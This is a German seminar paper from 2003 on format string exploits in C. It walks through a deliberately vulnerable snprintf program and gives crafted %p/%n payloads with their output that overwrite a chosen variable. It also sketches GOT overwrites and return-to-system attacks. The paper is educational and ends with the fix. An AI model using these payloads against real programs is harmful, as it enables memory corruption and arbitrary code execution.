Format String Exploits

Dirk Engling (151892)

Seminar: Der Fehler im System, SS 2003
Seminarleiter: Roland Kubica

23. Mai 2003

Inhaltsverzeichnis

1 Begriffsdefinition

Format String Exploit ist eine Klasse von Programmierfehlern, die durch eine Eigenschaft der `f/s(n)printf/scanf`–Funktionsfamilie hervorgerufen werden. Der Fehler betrifft das Auswerten einer sogenannten "`va_args`"–Liste, die zum Übergeben der Parameter benutzt werden und deren Semantik (Anzahl und Art der Parameter) durch einen sogenannten Format String bestimmt wird.

Der Prototyp einer solchen Funktion sieht wie folgt aus:

printf(**char** *format, param1, param2, ...)

2 "Absturz" eines Programms

Einem durchschnittlichen High-Levelanwender der Programmiersprache C begegnet ein Konstruktionsfehler des Format Strings zumeist in Form eines "Programmabsturz". Normalerweise würde man an dieser Stelle beginnen, den Fehler im Programm zu suchen und zu eliminieren.

Doch eine ungewollte Terminierung eines Programms beruht zumeist auf einem Problem: es wird Speicher an einer vom Programmierer nicht vorhergesehenen Stelle modifiziert. Dies führt zuweilen direkt zur Beendigung des Progamms, da an der zu ladenden Speicherstelle keine reale Speicherseite gemappt wurde. In anderen Fällen wird Speicher im Bereich des auszuführenden Programms überschrieben und der Prozessor trifft beim Dekodieren des Programms auf Bytefolgen, die keine echte Instruktion beschreiben, oder die nun fehlerhafte Instruktion selbst lädt von oder verändert Zeiger in nicht existenten Speicher.

Ziel eines Angreifers beim Ausnutzen dieses Programmierfehlers ist nun, die Adresse, die das Progamm fälschlich überschreibt, selbst geschickt auszuwählen, indem man sie Programm mittels eines besonders präparierten Format Strings unterschiebt. Somit vermeidet man den "Absturz" und die eine weitere Ausführung mit den veränderten Speicherstellen ausnutzen.

3 Funktionsaufrufe in C

Ein syntaktisch valider Aufruf einer `printf()`–ähnlichen Funktion sieht so aus:

```
int main( ) {
  int a = 7, b = 9;

  printout( "%d %d\n", a, b );
  return 0;
}
```

Der Compiler generiert nach seinen Calling Conventions (Konventionen, nach denen Funktionen die Parameter bei Aufruf im Stack vorfinden) optimierten Assembler Code:

```
.LC0:
        .string         "%d %d\n"
main:
        [ ... ]
        pushl $9
        pushl $7
        pushl $.LC0
        call _printout
        [ ... ]
```

10

Für Laien: erst b und dann a werden auf den Stack geschoben, anschliessend die Adresse des Format Strings. Schliesslich wird die Funktion `printout()` aufgerufen.

In C ist es generell nicht der Fall, dass Funktionen über die Parameter informiert werden, die sie auf dem Stack erhalten. Dies Information steht nämlich zur Compilezeit fest, wird im Funktionsprototypen beschrieben und zur Laufzeit als auf dem Stack gegeben erwartet.

4 Variable Argumentenliste

Eine weit verbreitete Ausnahme bildet ein Konstrukt namens va (Varibale Argumentenliste). Die entsprechenden C-Macros sind im Systemheaderfile `<stdarg.h>`. Die Funktion `printout()` arbeitet dann auch wie folgt:

```
int printout( const char *fmt, ...) {
  va_list ap;
  char output[1024];

  va_start(ap, fmt);

  while( *fmt ) {
    if( *fmt != '%' ) {
        putc( *fmt++ );
    } else { /* Parameter substituieren */
      switch( *++fmt ) {
      case 'd':
          int a = va_arg( ap, int );
          /* Zahl a ausgeben */
          break;
      case 's':
          char *s = va_arg( ap, char *);
          /* String ausgeben */
      ....
      }
  }

  va_end(ap);
}
```

Üblicherweise verbergen sich hinter den va–Aufrufen nur simple (an dieser Stelle leicht vereinfachte) Makros:

```
#define va_start(ap, var) ((ap) = (va_list)&var)

#define va_arg(ap, type) *(((type *)ap++))

#define va_end(ap)
```

Im Klartext: der Zeiger auf die letzte "feste" Variable (befindet sich auf dem Stack) wird übernommen. Alle weiteren Argumente liegen im Stack dahinter und werden sukzessive mit dem `va_arg`-Makro geladen.

In Wirklichkeit wird das Alignment der Variablen korrigiert, manche Prozessoren übergeben die ersten Parameter in Prozessorregistern, aber im Groben stellt dies schon dar, wie variable Argumentlisten behandelt werden. `printout()` holt (je nach Format String) Daten vom Stack, egal, ob dort Parameter für ihn abgelegt wurden oder nicht.

5 printf() und der Stack

Auf dem Stack sind zu jedem Zeitpunkt Daten sichtbar, auch wenn sie nicht in jedem Fall für die Funktionen gedacht sind, die da drauf zugreifen. Im Einzelnen sind das Rücksprungadresse und der Stack der aufrufenden Funktion. (Debugger und Profilingtools benutzen den Stack zudem noch für eigene Zwecke.)

Ein naiver Ansatz zum Überprüfen dieses Sachverhalts: (auf geläufigen x86ern 4 Bytes, die in der Notation 0xn ausgegeben werden)

```
int main( ) {
    int a = 0x23232323;

    printf( "%p %p %p %p %p %p %p %p %p %p %p\n");
    return 0;
}
```

Liefert folgende Ausgabe:

```
0x2804b963 0x1 0xbfbff738 0xbfbff740 0xbfbff738 0x0 0x2805f100
0xbfbff730 0x23232323 0xbfbff730 0x8048459 0x1
```

Man erkennt leicht das (nicht zufällig) gewählte a wieder; aber `printf()` kann mehr:

```
...
int a;

printf ( "Ich bin 23 Zeichen lang%n\n", &a);
printf ( "Und printf hat's gezaehlt: %d", a);
...
```

Liefert als Ausgabe:

```
Ich bin 23 Zeichen lang
Und printf hat's gezaehlt: 23
```

`printf()` erwartet, wenn er beim Auswerten des Format Strings auf den Bezeichner `%n` trifft, dass sich auf dem Stack der Zeiger auf eine Integervariable befindet. Dort hin speichert er die Anzahl der (bis zu diesem Bezeichner) ausgegebenen ASCII-Characters. Dies werden wir im Folgenden ausnutzen, um durch die Funktion Speicher zu verändern.

6 Warum fremde Format Strings?

`printf()` bietet uns also einen ganz soliden Weg, den Stack zu inspizieren und aktiv Speicher zu verändern. Bliebe die Frage, warum ein Programm den Weg ebnen sollte, den Formatstring von aussen zu wählen. Dort gibt es drei häufige Erklärungen:

- Einige Programme bieten für formatierte Textausgabe dem Benutzer an, selber Formatstrings anzugeben. Dies ist aber nicht so spannend, da der String meist sehr genau geprüft wird. Allerdings gibt es einen Exploit für den Mail-Reader "mutt", der genau über einen solchen Format String anfällig war. Eine wirklich umfassende Prüfung des Strings ist wegen möglicher verschachtelter Mehrfachescapings (`%%%%n`) nicht leicht.

- Es gibt Funktionen, die intern mit variablen Argumenten arbeiten, ohne in der API-Beschreibung darauf hinzuweisen.

- Es ist dem `printf()` egal, ob man ihm nun wirklich einen Zeiger auf den Format String gegeben hat, oder den Zeiger auf *irgendeinen* String, der ausgegeben werden soll. Der typische BASIC Programmierstil:

  ```
  LET A$ = "Hallo";
  PRINT A$;
  ```

  naiv in C überfuehrt:

  ```
  char *a = "Hallo";
  printf( a );
  ```

  funktioniert auch hervorragend, solange der String a keine `printf()` - Kontrollbezeichner, nämlich `'%'` enthält.

7 Der Fehler in der Praxis

Genug der Theorie, praktisch sieht ein anfälliges Programm schlicht so aus:

```
int main( int argc, char **argv ) {
    char buffer[ 256 ];

    snprintf( buffer, sizeof(buffer), argv[1] );

    return 0;
}
```

Man beachte, dass der Programmierer sich bemüht hat, klassische Buffer Overflows zu vermeiden, indem er die sichere Variante der `printf()`-Familie, das `snprintf()`, benutzt hat. Damit sollten auch wirklich maximal 256 bytes in den Buffer geschrieben werden. Allerdings hat er beim String, der geschrieben werden soll, den Fehler begangen, den wir nun ausnutzen werden; die Zeile müsste richtig lauten

```
    snprintf( buffer, sizeof buffer, "%s", argv[1] );
```

Die originale Funktion schreibt nach offensichtlicher Ansicht des Programmierers in den Buffer mit maximal 256 Zeichen den String `argv[1]`, also das erste Kommandozeilenargument der Funktion. Diese Annahme deckt sich aber, wie oben besprochen, nur solange mit der Funktionalität von `printf()`, solange im String keine `'%'` stehen. Da der String von der Kommandzeile übernommen wird, kann ein Angreifer dies aber erzwingen.

7.1 Prozessbegleitende Forensik

`sprintf()` schreibt in einen Speicherbereich und nicht auf den Bildschirm. Um die Vorgänge sichtbar zu machen, modifizieren wir das Programm in sofern, dass die wichtigen Variablen ausgegeben werden: (Alternativ könnte man auch mit einem Debugger den Inhalt von Variablen und Speicher anzeigen lassen)

```
int main( int argc, char **argv ) {
    int  test = 0x23232323;
    char buffer[ 256 ];

    printf( "test auf: %p\n", &test );
    printf( "test enthaelt: %x\n\n", test);

    snprintf( buffer, sizeof buffer, argv[1] );

    printf( "%s\n", buffer);
    printf( "test enthaelt: %x\n\n", test);

    return 0;
}
```

Die Variable `test` stellt nun eine beliebige Programmvariable dar, deren Inhalt wir gezielt verändern wollen. Deren Adresse ist dank virtueller Speicherverwaltung in jedem Programmaufruf (auch auf anderen Rechnern der selben Architektur) gleich und kann mit `printf()` oder einem Debugger in Erfahrung gebracht werden.

In der vom Programmierer vorgesehenen Benutzung erzeugt das Programm folgende Ausgabe:

```
# ./vuln Testlauf1
test auf: 0xbfbff6d4
test enthaelt: 0x23232323

Testlauf1
test enthaelt: 0x23232323
```

Ein einfaches Testen lässt keinen Fehler ersichtlich werden. Experimentiert man jedoch mit Kontroll-Bezeichnern im Format String, zeichnet sich ein möglicher Angriff auf die Schwäche ab.

```
# ./vuln "AAAA%p %p %p %p %p %p %p %p"
test auf: 0xbfbff6c0
test enthaelt: 0x23232323

AAAA0x1bff5d8 0xbfbff61c 0x2804d799 0x8048337 0x68acf04 0x2805a3a8
0x41414141 0x62317830 0x64356666
test enthaelt: 0x23232323
```

Zu allererst fällt auf, dass die Adresse von `test` (das sich ja im Stack befindet) variiert. Das liegt daran, dass die Kommandozeilenparameter im Stack abgelegt werden. Wir können aber mit Anführungszeichen und vielen Leerzeichen über die gesamte Testphase für eine konstante Position auf dem Stack sorgen. Zweitens befindet sich, wie oben erwähnt, auch der Format String im Stack weiter oben. Die 0x41414141 sind nämlich unsere AAAA aus der Kommandozeile.

7.2 Naive Speichermanipulation

Um aktiv Speicher zu verändern, bringen wir nun den `%n` Kontroll-Bezeichner im Format String unter. Wir lassen 6 Zeiger ausgeben und placieren danach ein `%n`. Die Ausgabe des Programms:

```
# ./test "AAAA%p %p %p %p %p %p%n  %p %p"
test auf: 0xbfbff6c0
test enthaelt: 0x23232323

Segmentation fault (core dumped)
```

Dem High-Level C-Programmierer wäre dieser Fehler in einfachen Tests nicht untergekommen. Ein Vergleich mit dem Stackdump von oben verrät, dass `printf()` beim Parsen des `%n` bereits 6 Werte vom Stack gelesen hat. Als letztes also 0x2805a3a8. Auf dem Stack befindet sich direkt als nächstes 0x41414141. Dieser Wert wird nun durch den `%n` Bezeichner als Adresse einer Integer-Variablen interpretiert, an den der aktuelle Zähler für ausgegebene Zeichen geschrieben werden soll.

An 0x41414141 befindet sich kein lesbarer Speicher.

7.3 Manipulation an gezielter Adresse

Die einfache Tatsache, dass 0x41414141 im Format String direkt von der Kommandozeile übergeben wird, legt nahe, eine valide Adresse an den Anfang der Zeichenkette zu schreiben. Eine solche valide Adresse soll nun die Stackadresse von `test` auf dem Stack sein. Im Beispiel lautet sie 0xbfbff6c0. Diese Variable ist auch ein Integer. Als String dargestellt sieht die Adresse so aus: Àö¿¿
Aus offensichtlichen Gründen ist wichtig, dass die Adresse in der ASCII–Darstellung keine `\000`–Zeichen enthält. Wir probieren:

```
# ./vuln "Àö¿¿%p %p %p %p %p %p%n  %p %p"
test auf: 0xbfbff6c0
test enthaelt: 0x2323232323

Àö¿¿0x1bff5d8 0xbfbff61c 0x2804d799 0x8048337 0x68acf04
0x2805a3a8  0x62317830 0x64356666
test enthaelt: 0x42
```

An der Stelle, wo in der Ausgabe zwei Leerzeichen hintereinander auftauchen, wurde nun `%n` "ausgeführt". Und wir stellen fest: `test` enthält 0x42. Dies entspricht den 66 bis dahin ausgegebenen ASCII-Zeichen.

7.4 Manipulation mit gezieltem Wert

Wir haben es also geschafft, an eine beliebige Adresse einen leider noch zufälligen Wert zu schreiben. Das soll sich jetzt ändern. Von Nöten ist eine wohlbestimmte Anzahl von Zeichen, die bis zum `%n` ausgegeben werden. Dazu trimmen wir die `%p`'s mit Formatierungsparametern auf eine einheitliche Länge, mit der wir rechnen können. Formatierungsparameter geben `printf()` an, mit wievielen Leerzeichen oder führenden Nullen die Variablen beim Konvertieren aufgefüllt werden sollen. `%08x` zum Beispiel fordert eine mit '0' auf 8 Zeichen aufgefüllte Hexadezimalzeichenkette als Ausgabe

```
# ./vuln "Àö¿¿%8p%8p%8p%8p%8p%8p%n%p%p  "
test auf: 0xbfbff6c0
test enthaelt: 0x23232323

Àö¿¿0x1bff5d80xbfbff61c0x2804d7990x80483370x68acf04
0x2805a3a80x623178300x64356666
test enthaelt: 0x3D
```

Mit dem letzten Formatierungsparameter können wir weiter experimentieren, durch den längeren Format String verschiebt sich jedoch die Stackadresse der

Variable `test`:

```
./test °ö¿¿%8p%8p%8p%8p%111638553p%999999999p%n       "
test auf: 0xbfbff6b0
test enthaelt: 0x23232323

°ö¿¿0x1bff5c80xbfbff60c0x2804d7990x8048337
test enthaelt: 0x42424242
```

Im Prinzip ist zu erkennen, dass wir an jede Adresse jeden Wert schreiben können. Erreicht wurde dies gerade dadurch, dass, auch wenn `snprintf()` nach 256 Zeichen keine weiteren in den Buffer schreibt, die Funktion nicht abbricht. Grund dafür ist natürlich, dass sich das Verhalten der Funktion `snprintf()` nach aussen nicht von `sprintf()` unterscheiden darf, um die Migration zur sichereren Variante nicht unnötig zu erschweren. Der `%n`–Bezeichner wird somit auch korrekt für Zeichen berechnet, die nicht im Buffer gespeichert werden.

8 Anwendungen

An dieser Stelle wäre es sehr einfach, Shellcode aufzurufen. Dieser würde im Format String mit übergeben. Die Einsprungadresse kann man punktgenau auf den Stack speichern. Dieser Bereich ist dank der weit verbreiteten Buffer Overflow Exploits recht gut erforscht und eigentlich für die filigranen Möglichkeiten, die Format String Exploits bieten, fast zu schade. Buffer Overflow-basiertes Ausführen von Shell Code kommt zumeist "mit dem Holzhammer" daher und bringt oft hunderte von NOPs und Rücksprungadressen im eingeschleusten String mit.

Viel eleganter ist es, die GOT des Binaries zu verändern. Das ist die sogenannte global object table. In ihr werden beim dynamischen Linken alle Einsprungadressen aus den verwendeten Bibliotheken abgelegt. Der Vorteil ist, dass bei fast allen Standardanwendungen die GOT ungefähr gleich aussieht. Wenn man die Adresse des `fopen()` einfach mit der des `system()`-calls überschreibt, könnte man einen Teil des Format Strings von einer Shell interpretieren lassen.

Dies ist insoweit im Moment interessant, da Betriebssystemdistributoren ernsthaft damit anfangen, den Stack als "non-executable" zu mappen und damit die Ausführung eines durch Buffer Overflows eingeschleusten Shellcodes zu verhindern.

Dies liesse noch Spielraum für eine weitere Option, nämlich die Rücksprungadresse der `printf()`-aufrufenden Funktion zu überschreiben und zwar mit der Einsprungadresse von `system()`, wenn man davor eine Adresse irgendwo im ei-

genen Formatstring hinpackt, kann man den Formatstring wie folgt gestalten:

```
"/../../../../../../../../bin/sh"
```

die `../`'s sind nämlich eigentlich auch NOPs.

Dass sich mit dem beliebigen Verändern von Speicherinhalten aber auch ganz profan andere, globale Variablen des Programms manipulieren lassen, so vielleicht die UID auf 0, ein "authentification successful" bool auf 1 oder ein Vorzeichenwechsel in `bank_account`, versteht sich von selbst.

9 Fazit

Format String Exploit zielen, genau wie Buffer Overflow Exploits auf Schwächen im Verständnis der Standardsystem-API-Calls. Im Normalfall lässt sich ein solcher Exploit leichter und präziser Ausnutzen, als ein Buffer Overflow. Der Fehler lässt sich automatisiert im Source Code entdecken. Als Programmierer sollte man grundsätzlich beachten, dass Usereingaben nicht zu vertrauen ist. Andere Hochsprachen, wie Perl, bieten dafür einen sogenannten Taint-Mode an, der verhindert, dass unmodifizierte Daten vom Anwender direkt an Systemfunktionen übergeben werden. Andererseits bedeutet dies wieder ein Einbusse an der Performanceseite. Wer C als seine Programmiersprache wählt, sollte sich aber der Risiken und eingegangenen Performance-Sicherheits-Kompromisse bewusst sein und zusätzliche Sorgfalt an den Tag legen.

10 Quellen

- Phrack Magazine, Ausgabe 59, http://www.phrack.org/show.php?p=59&a=7
- Die Datenschleuder Ausgabe 78 http://ds.ccc.de/078
- printf man page